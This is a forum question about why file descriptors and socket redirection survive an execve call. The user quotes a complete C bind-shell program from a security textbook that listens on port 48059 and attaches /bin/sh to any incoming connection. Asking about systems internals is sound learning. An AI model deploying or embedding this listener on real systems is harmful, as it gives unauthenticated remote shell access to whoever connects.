Home Why creating a remote shell using execve doesn't overwrite file descriptors and socket?
Reply: 0

Why creating a remote shell using execve doesn't overwrite file descriptors and socket?

user2269
1#
user2269 Published in August 16, 2018, 6:15 am

So I've got this code from Gray Hat Hacking: The Ethical Hacker’s Handbook, Fourth Edition :

#include<sys/socket.h>                 // libraries used to make a socket
#include<netinet/in.h>                 // defines the sockaddr structure
int main(){
        char * shell[2];               // prep for execve call
        int server,client;             // file descriptor handles
        struct sockaddr_in serv_addr;  // structure to hold IP/port vals
        server=socket(2,1,0);   // build a local IP socket of type stream
        serv_addr.sin_addr.s_addr=0; // set addresses of socket to all local
        serv_addr.sin_port=0xBBBB; // set port of socket, 48059 here
        serv_addr.sin_family=2;   // set native protocol family: IP
        bind(server,(struct sockaddr *)&serv_addr,0x10); // bind socket
        listen(server,0);         // enter listen state, wait for connect
        client=accept(server,0,0);// when connect, return client handle
        /*connect client pipes to stdin,stdout,stderr */
        dup2(client,0);                // connect stdin to client
        dup2(client,1);                // connect stdout to client
        dup2(client,2);                // connect stderr to client
        shell[0]="/bin/sh";            // first argument to execve
        shell[1]=0;                    // terminate array with null
        execve(shell[0],shell,0);      // pop a shell
}

According to execve man page:

execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.

So shouldn't the return value of socket(), which -if I understood it well-, is a file descriptor, be overwritten?
And shouldn't redirection of file descriptors stdin, stdout and stderr be reset to default values? If so, how could this program work?
I probably missunderstood something in about the execve() function, or about file descriptors. Or maybe I totaly missunderstood socket() function. Aren't file descriptors stored either into the stack, either into bss section?

You need to login account before you can post.

About| Privacy statement| Terms of Service| Advertising| Contact us| Help| Sitemap|
Processed in 0.302911 second(s) , Gzip On .

© 2016 Powered by mzan.com design MATCHINFO